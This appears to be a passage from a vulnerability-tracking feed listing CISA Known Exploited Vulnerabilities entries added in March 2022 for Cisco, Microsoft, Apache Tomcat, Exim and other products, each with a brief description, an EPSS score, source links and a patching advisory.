CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-20699
Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022).
A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS).
EPSS 72.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-20699: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20699&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Installer Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-41379
Microsoft Windows Installer Privilege Escalation Vulnerability (Mar 3, 2022).
Microsoft Windows Installer contains an unspecified vulnerability that allows for privilege escalation.
EPSS 19.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-41379: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41379&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2020-1938
Apache Tomcat Improper Privilege Management Vulnerability (Mar 3, 2022).
Apache Tomcat treats Apache JServ Protocol (AJP) connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited.
EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1938: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1938&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Treck TCP/IP stack Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2020-11899
Treck TCP/IP stack Out-of-Bounds Read Vulnerability (Mar 3, 2022).
The Treck TCP/IP stack contains an IPv6 out-of-bounds read vulnerability.
EPSS 18.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11899: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11899&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Exim Out-of-bounds Write Vulnerability
https://kevwire.com/record/CVE-2019-16928
Exim Out-of-bounds Write Vulnerability (Mar 3, 2022).
Exim contains an out-of-bounds write vulnerability which can allow for remote code execution.
EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16928&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business Routers Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2019-1652
Cisco Small Business Routers Improper Input Validation Vulnerability (Mar 3, 2022).
A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands.
EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1652: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1652&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Excel Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-1297
Microsoft Excel Remote Code Execution Vulnerability (Mar 3, 2022).
A remote code execution vulnerability exists in Microsoft Excel when the software fails to properly handle objects in memory.
EPSS 21.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1297: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1297&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8581
Microsoft Exchange Server Privilege Escalation Vulnerability (Mar 3, 2022).
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could attempt to impersonate any other user of the Exchange server.
EPSS 27.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8581: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8581&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ChakraCore Scripting Engine Type Confusion Vulnerability
https://kevwire.com/record/CVE-2018-8298
ChakraCore Scripting Engine Type Confusion Vulnerability (Mar 3, 2022).
The ChakraCore scripting engine contains a type confusion vulnerability which can allow for remote code execution.
EPSS 74.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8298&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0180
Cisco IOS Software Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0180: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0180&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0179
Cisco IOS Software Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Login Enhancements (Login Block) feature of Cisco IOS Software could allow an unauthenticated, remote attacker to trigger a reload of an affected system, resulting in a denial of service (DoS) condition.
EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0179: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0179&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-0175
Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability (Mar 3, 2022).
Format string vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges on an affected device.
EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0175&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software and Cisco IOS XE Software Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2018-0174
Cisco IOS Software and Cisco IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022).
A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS).
EPSS 7.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0174&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2018-0173
Cisco IOS and IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022).
A vulnerability in the Cisco IOS Software and Cisco IOS XE Software function that restores encapsulated option 82 information in DHCP Version 4 (DHCPv4) packets can allow for denial-of-service (DoS).
EPSS 7.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0173: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0173&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Software Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2018-0172
Cisco IOS and IOS XE Software Improper Input Validation Vulnerability (Mar 3, 2022).
A vulnerability in the DHCP option 82 encapsulation functionality of Cisco IOS Software and Cisco IOS XE Software could allow for denial-of-service (DoS).
EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0172: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0172&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2018-0167
Cisco IOS, XR, and XE Software Buffer Overflow Vulnerability (Mar 3, 2022).
There is a buffer overflow vulnerability in the Link Layer Discovery Protocol (LLDP) subsystem of Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software which could allow an unauthenticated, adjacent attacker to cause a denial of service (DoS) condition or execute arbitrary code.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0167: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0167&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Resource Management Errors Vulnerability
https://kevwire.com/record/CVE-2018-0161
Cisco IOS Software Resource Management Errors Vulnerability (Mar 3, 2022).
A vulnerability in the Simple Network Management Protocol (SNMP) subsystem of Cisco IOS Software running on certain models of Cisco Catalyst Switches could allow an authenticated, remote attacker to cause a denial-of-service (DoS) condition.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0161&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and XE Software Internet Key Exchange Version 1 Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0159
Cisco IOS and XE Software Internet Key Exchange Version 1 Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition.
EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0159: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0159&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and XE Software Internet Key Exchange Memory Leak Vulnerability
https://kevwire.com/record/CVE-2018-0158
Cisco IOS and XE Software Internet Key Exchange Memory Leak Vulnerability (Mar 3, 2022).
A vulnerability in the implementation of Internet Key Exchange Version 1 (IKEv1) functionality in Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a denial-of-service (DoS) condition.
EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0158: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0158&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software and Cisco IOS XE Software Smart Install Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0156
Cisco IOS Software and Cisco IOS XE Software Smart Install Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial-of-service (DoS) condition.
EPSS 9.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0156: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0156&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst Bidirectional Forwarding Detection Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0155
Cisco Catalyst Bidirectional Forwarding Detection Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the Bidirectional Forwarding Detection (BFD) offload implementation of Cisco Catalyst 4500 Series Switches and Cisco Catalyst 4500-X Series Switches could allow an unauthenticated, remote attacker to cause a crash of the iosd process, causing a denial-of-service (DoS) condition.
EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0155: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0155&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software Integrated Services Module for VPN Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2018-0154
Cisco IOS Software Integrated Services Module for VPN Denial-of-Service Vulnerability (Mar 3, 2022).
A vulnerability in the crypto engine of the Cisco Integrated Services Module for VPN (ISM-VPN) running Cisco IOS Software could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) condition.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0154: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0154&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software and Cisco IOS XE Software Quality of Service Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-0151
Cisco IOS Software and Cisco IOS XE Software Quality of Service Remote Code Execution Vulnerability (Mar 3, 2022).
A vulnerability in the quality of service (QoS) subsystem of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with elevated privileges.
EPSS 14.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0151: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0151&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability
https://kevwire.com/record/CVE-2017-8540
Microsoft Malware Protection Engine Improper Restriction of Operations Vulnerability (Mar 3, 2022).
The Microsoft Malware Protection Engine running on Microsoft Forefront and Microsoft Defender on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016, Microsoft Exchange Server 2013 and 2016, does not properly scan a specially crafted file leading to memory corruption. aka "Microsoft Malware Protection Engine Remote Code Execution Vulnerability".
EPSS 71.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8540: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8540&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Software SNMP Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6744
Cisco IOS Software SNMP Remote Code Execution Vulnerability (Mar 3, 2022).
The Simple Network Management Protocol (SNMP) subsystem of Cisco IOS 1 contains a vulnerability that could allow an authenticated, remote attacker to remotely execute code on an affected system or cause an affected system to reload. An attacker could exploit these vulnerabilities by sending a crafted SNMP packet to an affected system via IPv4 or IPv6.
EPSS 7.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6744: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6744&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
